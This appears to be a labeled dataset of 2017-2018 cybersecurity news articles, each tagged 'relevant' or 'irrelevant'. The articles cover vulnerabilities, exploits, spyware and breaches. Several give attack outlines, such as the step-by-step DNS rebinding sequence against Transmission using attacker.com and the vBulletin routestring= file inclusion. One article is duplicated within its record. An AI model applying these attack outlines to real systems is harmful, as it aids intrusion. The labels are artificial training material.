ROBOT website. The researchers have also released a python tool to scan for vulnerable hosts. You can also check your HTTPS server against ROBOT attack on their website.",relevant
"THN Weekly Roundup — Top 10 Stories You Should Not Miss Here we are with our weekly roundup, briefing this week's top cybersecurity threats, incidents, and challenges, just in case you missed any of them. Last week has been very short with big news from the theft of over 4,700 Bitcoins from the largest cryptocurrency mining marketplace to the discovery of a new malware evasion technique that works on all versions of Microsoft's Windows operating system. Besides this, the newly discovered Janus vulnerability in the Android operating system and a critical remote code execution (RCE) vulnerability in Malware Protection Engine (MPE) for which Microsoft released an emergency patch made their places in our weekly roundup. I recommend you to read the entire news (just click 'Read More' because there's some valuable advice in there as well). So, here we go with the list of this Week's Top Stories: Process Doppelgänging: New Malware Evasion Technique A team of researchers, who previously discovered AtomBombing attack, recently revealed a new fileless code injection technique that could help malware authors defeat most of the modern anti-virus solutions and forensic tools. Dubbed Process Doppelgänging, the method takes advantage of a built-in Windows function and an undocumented implementation of Windows process loader, and works on all versions of Microsoft Windows operating system, starting from Windows Vista to the latest version of Windows 10. To know How Process Doppelgänging attack works and why Microsoft refused to fix it, Read More. Android Flaw Lets Hackers Inject Malware Into Apps Without Altering Signatures A newly discovered vulnerability, dubbed Janus, in Android could let attackers modify the code of Android apps without affecting their signatures, eventually allowing them to distribute malicious update for the legitimate apps, which looks and works same as the original apps. Although Google has patched the vulnerability this month, a majority of Android users would still need to wait for their device manufacturers to release custom updates for them, apparently leaving a large number of Android users vulnerable to hackers for next few months. To know more about the vulnerability, how it works and if you are affected, Read More. Pre-Installed Keylogger Found On Over 460 HP Laptop Models Once again, Hewlett-Packard (HP) was caught pre-installing a keylogger in more than 460 HP Notebook laptop models that could allow hackers to record your every keystroke and steal sensitive data, including passwords, account information, and credit card details. When reported last month, HP acknowledged the presence of the keylogger, saying it was actually ""a debug trace"" which was left accidentally, and affected users can install updated Synaptics touchpad driver to remove it manually. To know how to check if your HP laptop is vulnerable to this issue and download compatible drivers, Read More. New Email Spoofing Flaw Affects Over 30 Popular Email Clients Researchers discovered a collection of vulnerabilities in more than 30 popular email client applications that could allow anyone to send spoofed emails bypassing anti-spoofing mechanisms. Dubbed MailSploit, the vulnerabilities affect popular email clients including Apple Mail (for macOS, iOS, and watchOS), Mozilla Thunderbird, Yahoo Mail, ProtonMail, several Microsoft email clients, and others. To watch the PoC video released by the researchers and know more about the vulnerabilities, Read More. Largest Crypto-Mining Exchange Hacked; Over $80 Million in Bitcoin Stolen Last week was the golden week in Bitcoin's history when the price of 1 BTC touched almost $19,000, but the media hype about the bitcoin price diminishes the hack of the largest Bitcoin mining marketplace. NiceHash mining marketplace confirmed a breach of its website, which resulted in the theft of more than 4,736 Bitcoins, which now worth nearly $80 million. The service went offline (and is still offline at the time of writing this article) with a post on its website, confirming that ""there has been a security breach involving NiceHash website,"" and that hackers stole the contents of the NiceHash Bitcoin wallet. To know more about the Bitcoin hack, Read More. Microsoft Issues Emergency Windows Security Update A week before its December Patch Tuesday updates, Microsoft released an emergency security patch to address a critical remote code execution vulnerability in its Malware Protection Engine (MPE) that could allow an attacker to take full control of a victim's PC. The vulnerability (CVE-2017-11937) impacts Windows 10, Windows 8.1, Windows 7, Windows RT 8.1, and Windows Server, and affects several Microsoft's security products, including Windows Defender, Microsoft Security Essentials, Endpoint Protection, Forefront Endpoint Protection, and Exchange Server 2013 and 2016. To know more about the vulnerability, Read More. Security Flaw Left Major Banking Apps Vulnerable to MiTM Attacks Over SSL Scientists discovered a critical implementation flaw in major mobile banking apps—for both iOS and Android—that left banking credentials of millions of users vulnerable to man-in-the-middle attacks. Attackers, connected to the same network as the victim, could have leveraged vulnerable banking apps to intercept SSL connection and retrieve the user's banking credentials, like usernames and passwords/pincodes—even if the apps are using SSL pinning feature. To know how attackers could have exploited this vulnerability to take over your bank accounts, Read More. Massive Data Breach Exposes Personal Data On 31 Million Users While downloading apps on their smartphones, most users may not realize how much data they collect on them, and app developers take advantage of this ignorance, wiping off more data on their users than they actually require for the working of their app. But what if this data falls into the wrong hand? The same happened last week, when a massive trove of personal data (over 577 GB) belonging to more than 31 million users of the famous virtual keyboard app, called AI.type, leaked online for anyone to download without requiring a password. To know more about the data breach incident and what information users lost, Read More. Critical Flaw in Major Android Tools Targets Developers An easily-exploitable vulnerability discovered in Android application developer tools, both downloadable and cloud-based, could allow hackers to steal files and execute malicious code on vulnerable systems remotely. The vulnerability was discovered by security researchers at CheckPoint, who also released a proof of concept (PoC) attack, dubbed ParseDroid, along with a video to demonstrate how the attack works. To watch the video and know how this vulnerability can be exploited, Read More. Uber Paid Florida Hacker $100,000 to Keep Data Breach News Secret It turns out that a 20-year-old Florida man, with the help of another, was responsible for the massive Uber data breach in October 2016 and was paid an enormous amount by the ride-hailing company to destroy the data and keep the data breach incident secret. Last week, Uber announced that a massive data breach last year exposed personal data of 57 million customers and drivers and that it paid two hackers $100,000 in ransom to destroy the information. To know more about the data breach at Uber and the hackers, Read More.",irrelevant
"Zero-Day Remote 'Root' Exploit Disclosed In AT&T DirecTV WVB Devices Security researchers have publicly disclosed an unpatched zero-day vulnerability in the firmware of AT&T DirecTV WVB kit after trying to get the device manufacturer to patch this easy-to-exploit flaw over the past few months. The problem is with a core component of the Genie DVR system that's shipped free of cost with DirecTV and can be easily exploited by hackers to gain root access and take full control of the device, placing millions of people who've signed up to DirecTV service at risk. The vulnerability actually resides in WVBR0-25—a Linux-powered wireless video bridge manufactured by Linksys that AT&T provides to its new customers. DirecTV Wireless Video Bridge WVBR0-25 allows the main Genie DVR to communicate over the air with customers' Genie client boxes (up to 8) that are plugged into their TVs around the home. Trend Micro researcher Ricky Lawshae, who is also a DirecTV customer, decided to take a closer look at the device and found that Linksys WVBR0-25 hands out internal diagnostic information from the device's web server, without requiring any authentication. hacking-news When trying to browse to the wireless bridge's web server on the device, Lawshae was expecting a login page or similar, but instead, he found ""a wall of text streaming before [his] eyes."" Once there, Lawshae was able to see the output of several diagnostic scripts containing everything about the DirecTV Wireless Video Bridge, including the WPS pin, connected clients, running processes, and much more. What's more worrisome was that the device was accepting his commands remotely and that too at the ""root"" level, meaning Lawshae could have run software, exfiltrate data, encrypt files, and do almost anything he wanted on the Linksys device. ""It literally took 30 seconds of looking at this device to find and verify an unauthenticated, remote root command injection vulnerability. It was at this point that I became pretty frustrated,"" Lawshae wrote in an advisory published Wednesday on Trend Micro-owned Zero Day Initiative (ZDI) website. ""The vendors involved here should have had some form of secure development to prevent bugs like this from shipping. More than that, we as security practitioners have failed to affect the changes needed in the industry to prevent these simple yet impactful bugs from reaching unsuspecting consumers."" Lawshae also provided a video, demonstrating how a quick and straightforward hack let anyone get a root shell on the DirecTV wireless box in less than 30 seconds, granting them full remote unauthenticated admin control over the device. The vulnerability was reported by the ZDI Initiative to Linksys more than six months ago, but the vendor ceased communication with the researcher and had yet not fixed the problem, leaving this easy-to-exploit vulnerability unpatched and open for hackers. So, after over half a year, ZDI decided to publicize the zero-day vulnerability, and recommended users to limit their devices that can interact with Linksys WVBR0-25 ""to those that actually need to reach"" in order to protect themselves.",relevant
"MailSploit — Email Spoofing Flaw Affects Over 30 Popular Email Clients If you receive an email that looks like it's from one of your friends, just beware! It's possible that the email has been sent by someone else in an attempt to compromise your system. A security researcher has discovered a collection of vulnerabilities in more than 30 popular email client applications that could allow anyone to send spoofed emails bypassing anti-spoofing mechanisms. Discovered by security researcher Sabri Haddouche, the set of vulnerabilities, dubbed MailSploit, affects Apple Mail (macOS, iOS, and watchOS), Mozilla Thunderbird, several Microsoft email clients, Yahoo Mail, ProtonMail, and others. Although most of these affected email client applications have implemented anti-spoofing mechanisms, such as DKIM and DMARC, MailSploit takes advantage of the way email clients and web interfaces parse ""From"" header. Email spoofing is an old-school technique, but it works well, allowing someone to modify email headers and send an email with the forged sender address to trick recipients into believing they are receiving that email from a specific person. In a dedicated website went up today, Haddouche explained how the lack of input sanitization implemented by vulnerable email clients could lead to email spoofing attack—without actually exploiting any flaw in DMARC. To demonstrate this attack, Haddouche created a payload by encoding non-ASCII characters inside the email headers, successfully sending a spoofed email from an official address belonging to President of the United States. ""Using a combination of control characters such as new lines or null-byte, it can result in hiding or removing the domain part of the original email,"" Haddouche says in his blog post. mailsploit ""We've seen a lot of malware spreading via emails, relying on social engineering techniques to convince users to open unsafe attachments, or click on phishing links. The rise of ransomware distributed over email clearly demonstrates the effectivity of those mechanisms."" Besides spoofing, the researcher found some of the email clients, including Hushmail, Open Mailbox, Spark, and Airmail, are also vulnerable to cross-site scripting (XSS) vulnerabilities, which stems from the email spoofing issue. Haddouche reported this spoofing bug to 33 different client applications, 8 of which have already patched this issue in their products before the public disclosure and 12 are on their way to fix it. mailsploit Here you can find the list of all email and web clients (both patched and unpatched) that are vulnerable to MailSploit attack. However, Mozilla and Opera consider this bug to be a server-side issue and will not be releasing any patch. Mailbird closed the ticket without responding to the issue, while remaining 12 vendors did not yet comment on the researcher's report.",relevant
"Google Researcher Releases iOS Exploit—Could Enable iOS 11 Jailbreak As promised last week, Google's Project Zero researcher Ian Beer now publicly disclosed an exploit that works on almost all 64-bit Apple devices running iOS 11.1.2 or earlier, which can be used to build an iOS jailbreak, allowing users to run apps from non-Apple sources. On Monday morning, Beer shared the details on the exploit, dubbed ""tfp0,"" which leveraged double-free memory corruption vulnerabilities in the kernel, the core of the operating system. Here, ""tfp0"" stands for ""task for pid 0"" or the kernel task port—which gives users full control over the core of the operating system. The Project Zero researcher responsibly reported these vulnerabilities to Apple in October, which were patched by the company with the release of iOS 11.2 on 2nd December. While Beer says he has successfully tested his proof of concept exploit on the iPhone 6s and 7, and iPod Touch 6G, he believes that his exploit should work on all 64-bit Apple devices. Another security researcher confirmed that the exploit released by Beer also works on his Apple TvOS 11.x and TV 4K running iOS 11.1.2. What's worse? Since Apple's iOS mobile operating system and macOS desktop operating system share the same code base, the kernel for macOS is also vulnerable to the bug, according to a report published by Project Zero on Google's Chromium Blog. Beer said he has also successfully tested the vulnerability on macOS 10.13, running on a MacBook Air 5.2, which Apple patched in macOS 10.13.1. Earlier versions of the operating systems are still vulnerable to the exploit, which basically grants complete core access to the operating system and that is really what the jailbreak community requires. Although we have not heard any news about iOS jailbreaks from the jailbreak community from very long, Beer's exploit could be the basis for a future iOS 11 jailbreak, allowing iPhone and iPad users to install third-party OS customizations via apps that are restricted by Apple. If iOS 11.1.2 jailbreak surfaces in upcoming days, you can still downgrade to iOS 11.1.2 using iTunes even if you have updated to iOS 11.2 because Apple is still signing the operating system.",relevant
"Security Flaw Left Major Banking Apps Vulnerable to MiTM Attacks Over SSL A team of security researchers has discovered a critical implementation flaw in major mobile banking applications that left banking credentials of millions of users vulnerable to hackers. The vulnerability was discovered by researchers of the Security and Privacy Group at the University of Birmingham, who tested hundreds of different banking apps—both iOS and Android—and found that several of them were affected by a common issue, leaving their users vulnerable to man-in-the-middle attacks. The affected banking apps include HSBC, NatWest, Co-op, Santander, and Allied Irish bank, which have now been updated after researchers reported them of the issue. According to a research paper [PDF] published by researchers, vulnerable applications could have allowed an attacker, connected to the same network as the victim, to intercept SSL connection and retrieve the user's banking credentials, like usernames and passwords/pincodes—even if the apps are using SSL pinning feature. SSL pinning is a security feature that prevents man-in-the-middle (MITM) attacks by enabling an additional layer of trust between the listed hosts and devices. When implemented, SSL pinning helps to neutralize network-based attacks wherein attackers could attempt to use valid certificates issued by rogue certification authorities. ""If a single CA acted maliciously or were compromised, which has happened before, valid certificates for any domain could be generated allowing an attacker to Man-in-the-Middle all apps trusting that CA certificate,"" the researchers wrote in their paper. However, there are two key parts to verify an SSL connection—the first (authentication) is to verify whether the certificate is from a trusted source and the second (authorization) is to make sure the server you are connecting to presents the right certificate. Researchers found that due to lack of hostname verification, several banking applications were not checking if they connected to a trusted source. Verifying a hostname ensures the hostname in the URL to which the banking app connects matches the hostname in the digital certificate that the server sends back as part of the SSL connection. ""TLS misconfiguration vulnerabilities are clearly common; however none of the existing frameworks will detect that a client pins a root or intermediate certificate, but fails to check the hostname in the leaf,"" the paper reads. Besides this issue, the researchers also detailed an ""in-app phishing attack"" affecting Santander and Allied Irish Banks, which could have allowed attackers to hijack part of the victim's screen while the app was running and use it to phish for the victim's login credentials. To test this vulnerability in hundreds of banking apps quickly and without requiring to purchase certificates, researchers created a new automated tool, dubbed Spinner. man-in-the-middle-attack-ssl-pinning Spinner leverages Censys IoT search engine for finding certificate chains for alternate hosts that only differ in the leaf certificate. ""Given the certificate for a target domain, the tool queries for certificate chains for alternate hosts that only differ in the leaf certificate. The tool then redirects the traffic from the app under test to a website which has a certificate signed by the same CA certificate, but of course a different hostname (Common Name),"" the researchers explain. ""If the connection fails during the establishment phase then we know the app detected the wrong hostname. Whereas, if the connection is established and encrypted application data is transferred by the client before the connection fails then we know the app has accepted the hostname and is vulnerable."" The trio, Chris McMahon Stone, Tom Chothia, and Flavio D. Garcia, worked with the National Cyber Security Centre (NCSC) to notify all affected banks, which then resolved the issues before they publicly disclosed their research this week.",relevant
"Critical ""Same Origin Policy"" Bypass Flaw Found in Samsung Android Browser A critical vulnerability has been discovered in the browser app comes pre-installed on hundreds of millions of Samsung Android devices that could allow an attacker to steal data from browser tabs if the user visits an attacker-controlled site. Identified as CVE-2017-17692, the vulnerability is Same Origin Policy (SOP) bypass issue that resides in the popular Samsung Internet Browser version 5.4.02.3 and earlier. The Same Origin Policy or SOP is a security feature applied in modern browsers that is designed to make it possible for web pages from the same website to interact while preventing unrelated sites from interfering with each other. In other words, the SOP makes sure that the JavaScript code from one origin should not be able to access the properties of a website on another origin. The SOP bypass vulnerability in the Samsung Internet Browser, discovered by Dhiraj Mishra, could allow a malicious website to steal data, such as passwords or cookies, from the sites opened by the victim in different tabs. ""When the Samsung Internet browser opens a new tab in a given domain (say, google.com) through a Javascript action, that Javascript can come in after the fact and rewrite the contents of that page with whatever it wants,"" researchers from security firm Rapid7 explained. ""This is a no-no in browser design since it means that Javascript can violate the Same-Origin Policy, and can direct Javascript actions from one site (controlled by the attacker) to act in the context of another site (the one the attacker is interested in). Essentially, the attacker can insert custom Javascript into any domain, provided the victim user visits the attacker-controlled web page first."" Attackers can even snag a copy of your session cookie or hijack your session and read and write webmail on your behalf. Mishra reported the vulnerability to Samsung, and the company replied that ""the patch is already preloaded in our upcoming model Galaxy Note 8, and the application will be updated via Apps store update in October."" Meanwhile, Mishra, with the help of Tod Beardsley and Jeffrey Martin from Rapid7 team, also released an exploit for Metasploit Framework. Rapid7 researchers have also published a video demonstrating the attack. Since the Metasploit exploit code for the SOP bypass vulnerability in the Samsung Internet Browser is now publicly available, anyone with less technical knowledge can use and exploit the flaw on a large number of Samsung devices, most of which are still using the old Android Stock browser.",relevant
"New TeamViewer Hack Could Allow Clients to Hijack Viewers' Computer Do you have remote support software TeamViewer installed on your desktop? If yes, then you should pay attention to a critical vulnerability discovered in the software that could allow users sharing a desktop session to gain complete control of the other's PC without permission. TeamViewer is a popular remote-support software that lets you securely share your desktop or take full control of other's PC over the Internet from anywhere in the world. For a remote session to work both computers—the client (presenter) and the server (viewer)—must have the software installed, and the client has to share a secret authentication code with the person he wants to share his desktop. However, a GitHub user named ""Gellin"" has disclosed a vulnerability in TeamViewer that could allow the client (sharing its desktop session) to gain control of the viewer's computer without permission. TeamViewer Hack Could Be Used By Anyone—Server Or Client Gellin has also published a proof-of-concept (PoC) code, which is an injectable C++ DLL, which leverages ""naked inline hooking and direct memory modification to change TeamViewer permissions."" The injectable C++ DLL (hack) can be used by both, the client and the server, which results as mentioned below: If exploited by the Server—the hack allows viewers to enable ""switch sides"" feature, which is only active after the server authenticated control with the client, eventually allowing the server to initiate a change of control/sides. TeamViewer If exploited by the Client—the hack allows the client to take control of the mouse and keyboard of the server ""with disregard to servers current control settings and permissions."" TeamViewer This vulnerability impacts TeamViewer versions running on Windows, macOS as well as Linux machines. A Reddit user ""xpl0yt,"" who first publicized this vulnerability, claimed to have been in contact with the TeamViewer security team, who confirmed him the existence of the vulnerability in its software and released a patch for Windows. A TeamViewer spokesperson told The Hacker News, ""We are patching versions 11-13. Windows is already available, whereas MacOS and Linux are expected later today."" TeamViewer users are recommended to install the patched versions of the software as soon as they become available. Patches will be delivered automatically to those users who have configured their TeamViewer software to receive automatic updates.",relevant
"Two Critical 0-Day Remote Exploits for vBulletin Forum Disclosed Publicly Security researchers have discovered and disclosed details of two unpatched critical vulnerabilities in a popular internet forum software—vBulletin—one of which could allow a remote attacker to execute malicious code on the latest version of vBulletin application server. vBulletin is a widely used proprietary Internet forum software package based on PHP and MySQL database server. It powers more than 100,000 websites on the Internet, including Fortune 500 and Alexa Top 1 million companies websites and forums. The vulnerabilities were discovered by a security researcher from Italy-based security firm TRUEL IT and an unknown independent security researcher, who disclosed the details of the vulnerabilities by Beyond Security's SecuriTeam Secure Disclosure program. The vulnerabilities affect version 5 of the vBulletin forum software and are currently unpatched. Beyond Security claims, it tried to contact vBulletin since November 21, 2017, but received no response from the company. vBulletin Remote Code Execution Vulnerability vBulletin Forum The first vulnerability discovered in vBulletin is a file inclusion issue that leads to remote code execution, allowing a remote attacker to include any file from the vBulletin server and execute arbitrary PHP code. An unauthenticated attacker can trigger the file inclusion vulnerability by sending a GET request to index.php with the routestring= parameter in the request, eventually allowing the attacker to ""create a crafted request to Vbulletin server installed on Windows OS and include any file on the web server."" The researcher has also provided Proof-of-Concept (PoC) exploit code to show the exploitation of the vulnerability. A Common Vulnerabilities and Exposures (CVE) number has not been assigned to this particular vulnerability. vBulletin Remote Arbitrary File Deletion Vulnerability The second vulnerability discovered in the vBulletin forum software version 5 has been assigned CVE-2017-17672 and described as a deserialization issue that an unauthenticated attacker can exploit to delete arbitrary files and even execute malicious code ""under certain circumstances."" The vulnerability is due to unsafe usage of PHP's unserialize() on user-supplied input, which allows an unauthenticated hacker to delete arbitrary files and possibly execute arbitrary code on a vBulletin installation. A publicly exposed API, called vB_Library_Template's cacheTemplates() function, allows fetching information on a set of given templates from the database to store them inside a cache variable. ""$temnplateidlist variable, which can come directly from user-input, is directly supplied to unserialize(), resulting in an arbitrary deserialization primitive,"" the advisory explains. Besides technical details, the advisory also includes Proof-of-Concept (PoC) exploit code to explain the severity of this vulnerability. We expect the vendor to release the patch for both the security flaws before hackers started exploiting them to target vBulletin installations.",relevant
"Pre-Installed Password Manager On Windows 10 Lets Hackers Steal All Your Passwords If you are running Windows 10 on your PC, then there are chances that your computer contains a pre-installed 3rd-party password manager app that lets attackers steal all your credentials remotely. Starting from Windows 10 Anniversary Update (Version 1607), Microsoft added a new feature called Content Delivery Manager that silently installs new ""suggested apps"" without asking for users' permission. According to a blog post published Friday on Chromium Blog, Google Project Zero researcher Tavis Ormandy said he found a pre-installed famous password manager, called ""Keeper,"" on his freshly installed Windows 10 system which he downloaded directly from the Microsoft Developer Network. Ormandy was not the only one who noticed the Keeper Password Manager. Some Reddit users complained about the hidden password manager about six months ago, one of which reported Keeper being installed on a virtual machine created with Windows 10 Pro. Critical Flaw In Keeper Password Manager Knowing that a third-party password manager now comes installed by default on Windows 10, Ormandy started testing the software and took no longer to discover a critical vulnerability that leads to ""complete compromise of Keeper security, allowing any website to steal any password."" ""I don't want to hear about how even a password manager with a trivial remote root that shares all your passwords with every website is better than nothing. People really tell me this,"" Ormandy tweeted. The security vulnerability in the Keeper Password Manager was almost identical to the one Ormandy discovered and reported in the non-bundled version of the same Keeper plugin in August 2016 that enabled malicious websites to steal passwords. ""I checked and, they're doing the same thing again with this version. I think I'm being generous considering this a new issue that qualifies for a ninety day disclosure, as I literally just changed the selectors and the same attack works,"" Ormandy said. To explain the severity of the bug, Ormandy also provided a working proof-of-concept (PoC) exploit that steals a user's Twitter password if it is stored in the Keeper app. Install Updated Keeper Password Manager Ormandy reported the vulnerability to the Keeper developers, who acknowledged the issue and released a fix in the just released version 11.4 on Friday by removing the vulnerable ""add to existing"" functionality. Since the vulnerability only affects version 11 of the Keeper app, which was released on December 6 as a major browser extension update, the vulnerability is different from the one Ormandy reported six months ago. Keeper has also added that the company has not noticed any attack using this security vulnerability in the wild. As for Windows 10 users, Ormandy said users wouldn't be vulnerable to the password theft unless they open Keeper password manager and enable the software to store their passwords. However, Microsoft still needs to explain how the Keeper password manager gets installed on the users' computers without their knowledge. Meanwhile, users can use this registry tweak to disable Content Delivery Manager in order to prevent Microsoft from installing unwanted apps silently on their PCs.",relevant
"Skygofree — Powerful Android Spyware Discovered Security researchers have unveiled one of the most powerful and highly advanced Android spyware tools that give hackers full control of infected devices remotely. Dubbed Skygofree, the Android spyware has been designed for targeted surveillance, and it is believed to have been targeting a large number of users for the past four years. Since 2014, the Skygofree implant has gained several novel features previously unseen in the wild, according to a new report published by Russian cybersecurity firm Kaspersky Labs. The 'remarkable new features' include location-based audio recording using device's microphone, the use of Android Accessibility Services to steal WhatsApp messages, and the ability to connect infected devices to malicious Wi-Fi networks controlled by attackers. Skygofree is being distributed through fake web pages mimicking leading mobile network operators, most of which have been registered by the attackers since 2015—the year when the distribution campaign was most active, according to Kaspersky's telemetry data. Italian IT Firm Behind Skygofree Spyware? skygofree-android-malware Researchers at Kaspersky Lab believe the hacker or hacking group behind this mobile surveillance tool has been active since 2014 and are based in Italy—the home for the infamous 'Hacking Team'—one of the world's bigger players in spyware trading. ""Given the many artifacts we discovered in the malware code, as well as infrastructure analysis, we are pretty confident that the developer of the Skygofree implants is an Italian IT company that works on surveillance solutions, just like HackingTeam,"" said the report. Kaspersky found several Italian devices infected with Skygofree, which the firm described as one of the most powerful, advanced mobile implants it has ever seen. Although the security firm has not confirmed the name of the Italian company behind this spyware, it found multiple references to Rome-based technology company ""Negg"" in the spyware's code. Negg is also specialised in developing and trading legal hacking tools. Skygofree: Powerful Android Spyware Tool Once installed, Skygofree hides its icon and starts background services to conceal further actions from the user. It also includes a self-protection feature, preventing services from being killed. As of October last year, Skygofree became a sophisticated multi-stage spyware tool that gives attackers full remote control of the infected device using a reverse shell payload and a command and control (C&C) server architecture. According to the technical details published by researchers, Skygofree includes multiple exploits to escalate privileges for root access, granting it ability to execute most sophisticated payloads on the infected Android devices. skygofree-android-malware-whatsapp One such payload allows the implant to execute shellcode and steal data belonging to other applications installed on the targeted devices, including Facebook, WhatsApp, Line, and Viber. ""There are multiple, exceptional capabilities: usage of multiple exploits for gaining root privileges, a complex payload structure, [and] never-before-seen surveillance features,"" the researchers said. Skygofree's control (C&C) server also allows attackers to capture pictures and videos remotely, seize call records and SMS, as well as monitor the users' geolocation, calendar events and any information stored in the device's memory. Besides this, Skygofree also can record audio via the microphone when the infected device was in a specified location and the ability to force the infected device to connect to compromised Wi-Fi networks controlled by the attacker, enabling man-in-the-middle attacks. The spyware uses ""the Android Accessibility Service to get information directly from the displayed elements on the screen, so it waits for the targeted application to be launched and then parses all nodes to find text messages,"" Kaspersky said. Kaspersky researchers also found a variant of Skygofree targeting Windows users, suggesting the authors' next area of interest is the Windows platform. The best way to prevent yourself from being a victim is to avoid downloading apps via third-party websites, app stores or links provided in SMS messages or emails.",relevant
"Flaw in Popular Transmission BitTorrent Client Lets Hackers Control Your PC Remotely A critical vulnerability has been discovered in the widely used Transmission BitTorrent app that could allow hackers to remotely execute malicious code on BitTorrent users' computers and take control of them. The vulnerability has been uncovered by Google's Project Zero vulnerability reporting team, and one of its researchers Tavis Ormandy has also posted a proof-of-concept attack—just 40 days after the initial report. Usually, Project Zero team discloses vulnerabilities either after 90 days of reporting them to the affected vendors or until the vendor has released a patch. However, in this case, the Project Zero researchers disclosed the vulnerability 50 days prior to the actual time limit because Transmission developers failed to apply a ready-made patch provided by the researchers over a month ago. ""I'm finding it frustrating that the transmission developers are not responding on their private security list, I suggested moving this into the open so that distributions can apply the patch independently. I suspect they won't reply, but let's see,"" Ormandy said in a public report published Tuesday. Proof-of-Concept Exploit Made Publicly Available The PoC attack published by Ormandy exploits a specific Transmission function that lets users control the BitTorrent app with their web browser. Ormandy confirmed his exploit works on Chrome and Firefox on Windows and Linux (Fedora and Ubuntu) and believes that other browsers and platforms are also vulnerable to the attack. Transmission BitTorrent app works on server-client architecture, where users have to install a daemon service on their systems in order to access a web-based interface on their browsers locally. The daemon installed on the user system then interacts with the server for downloading and uploading files through the browser using JSON RPC requests. Ormandy found that a hacking technique called the ""domain name system rebinding"" attack could successfully exploit this implementation, allowing any malicious website that user visits to execute malicious code on user's computer remotely with the help of installed daemon service. Here's How the Attack Works: The loophole resides in the fact that services installed on localhost can be manipulated to interact with third-party websites. ""I regularly encounter users who do not accept that websites can access services on localhost or their intranet,"" Ormandy wrote in a separate post, which includes the patch. ""These users understand that services bound to localhost are only accessible to software running on the local machine and that their browser is running on the local machine—but somehow believe that accessing a website ""transfers"" execution somewhere else. It does not work like that, but this is a common source of confusion."" Attackers can exploit this loophole by simply creating a DNS name they're authorized to communicate with and then making it resolve to the vulnerable computer's localhost name. Here's how the attack works: bittorent-transmission-hacking A user visits malicious site (https://attacker.com), which has an iframe to a subdomain controlled by the attacker. The attacker configures their DNS server to respond alternately with 127.0.0.1 and 123.123.123.123 (an address controlled by the attacker) with a very low TTL. When the browser resolves to 123.123.123.123, it serves HTML that waits for the DNS entry to expire (or force it to terminate by flooding the cache with lookups), then it has permission to read and set headers. Ormandy said the vulnerability (CVE-2018-5702) was the ""first of a few remote code execution flaws in various popular torrent clients,"" though he did not name the other torrent apps due to the 90-day disclosure timeline. A fix is expected to be released as soon as possible, a development official with Transmission told ArsTechnica, without specifying an actual date.",relevant
"Someone Stole Almost Half a BILLION Dollars from Japanese Cryptocurrency Exchange Coincheck, a Tokyo-based cryptocurrency exchange, has suffered what appears to be the biggest hack in the history of cryptocurrencies, losing $532 million in digital assets (nearly $420 million in NEM tokens and $112 in Ripples). In 2014, Mt Gox, one of the largest bitcoin exchange at that time, filed for bankruptcy after admitting it had lost $450 million worth of Bitcoins. Apparently, the cryptocurrency markets reacted negatively to the news, which resulted in 5% drop in Bitcoin price early this morning. In a blog post published today, the Tokyo-based cryptocurrency exchange confirmed the cyber heist without explaining how the tokens were stolen, and abruptly froze most of its services, including deposits, withdrawals and trade of almost all cryptocurrencies, except Bitcoin. Coincheck also said the exchange had even stopped deposits into NEM cryptocurrencies, which resulted in 16.5% drop in NEM coin value, as well as other deposit methods including credit cards. During a late-night press conference at the Tokyo Stock Exchange, Coincheck Inc. co-founder Yusuke Otsuka also said that over 500 million NEM tokens (then worth around $420 million) were taken from Coincheck's digital wallets on Friday, but the company didn't know how the tokens went missing, according to new source Asahi. The digital-token exchange has already reported the incident to the law enforcement authorities and to Japan's Financial Services Agency to investigate the cause of the missing tokens. ""We will report on the damage situation and cause of the case, measures to prevent recurrence, but first we would like you to take every possible measure to protect our customers,"" said Executives of the Financial Services Agency (translated). This incident marks yet another embarrassing hack in the world of digital currency technology, once again reminding us that the volatility in cryptocurrency prices is not going away anytime soon. So far, the exchange has not provided any official statement regarding the cause of this hack. We will keep you updated about this incident. Stay Tuned!",irrelevant
"Forever 21 Confirms Security Breach Exposed Customer Credit Card Details First notified in November of a data breach incident, popular clothing retailer Forever 21 has now confirmed that hackers stole credit card information from its stores throughout the country for several months during 2017. Although the company did not yet specify the total number of its customers affected by the breach, it did confirm that malware was installed on some point of sale (POS) systems in stores across the U.S. at varying times between April 3, 2017, and November 18, 2017. According to the company's investigation, which is still ongoing, the malware was designed to search for and likely steal sensitive customer credit card data, including credit card numbers, expiration dates, verification codes and, in some cases, cardholder names. Forever 21 has been using encryption technology since 2015 to protect its payment processing systems, but during the investigation, the company found that some POS terminals at certain stores had their encryption switched off, which allowed hackers to install the malware. However, according to the company, not every POS terminal in affected stores was infected with the malware and not every store was impacted during the full-time period (roughly 8 months) of the breach. In fact, in some cases, payment card data stored in certain system logs before April 3rd were also exposed in the breach. ""Each Forever 21 store has multiple POS devices, and in most instances, only one or a few of the POS devices were involved. Additionally, Forever 21 stores have a device that keeps a log of completed payment card transaction authorizations,"" the company said while explaining the incident. ""When encryption was off, payment card data was being stored in this log. In a group of stores that were involved in this incident, malware was installed on the log devices that was capable of finding payment card data from the logs, so if encryption was off on a POS device prior to April 3, 2017, and that data was still present in the log file at one of these stores, the malware could have found that data."" The company also assured its online customers that payment cards used on its website (forever21.com) were not affected by the breach. Since payment processing systems outside of the United States work differently, it should not be impacted by the security breach, but the retailer said it's still investigating whether non-US stores were affected or not. Forever 21 advised customers who shopped at its stores to stay vigilant and keep an eye on their credit transactions for any suspicious activity, and immediately notify their banks that issued the card if found any. The company has promised to continue working with ""security firms to enhance"" their security measures. This breach is yet another embarrassing incident disclosed recently, followed by Disqus' disclosure of a 5-year-old breach of over 17.5 million Disqus users and Yahoo's revelation that 2013 data breach affected all of its 3 Billion users. The recent incidents also include Equifax's revelation of a breach of potentially 145.5 million customers, U.S. Securities and Exchange Commission (SEC) disclosure of a data breach that profited hackers, and Deloitte's disclosure of a cyber attack that led to the theft of its clients' private emails and documents.First notified in November of a data breach incident, popular clothing retailer Forever 21 has now confirmed that hackers stole credit card information from its stores throughout the country for several months during 2017. Although the company did not yet specify the total number of its customers affected by the breach, it did confirm that malware was installed on some point of sale (POS) systems in stores across the U.S. at varying times between April 3, 2017, and November 18, 2017. According to the company's investigation, which is still ongoing, the malware was designed to search for and likely steal sensitive customer credit card data, including credit card numbers, expiration dates, verification codes and, in some cases, cardholder names. Forever 21 has been using encryption technology since 2015 to protect its payment processing systems, but during the investigation, the company found that some POS terminals at certain stores had their encryption switched off, which allowed hackers to install the malware. However, according to the company, not every POS terminal in affected stores was infected with the malware and not every store was impacted during the full-time period (roughly 8 months) of the breach. In fact, in some cases, payment card data stored in certain system logs before April 3rd were also exposed in the breach. ""Each Forever 21 store has multiple POS devices, and in most instances, only one or a few of the POS devices were involved. Additionally, Forever 21 stores have a device that keeps a log of completed payment card 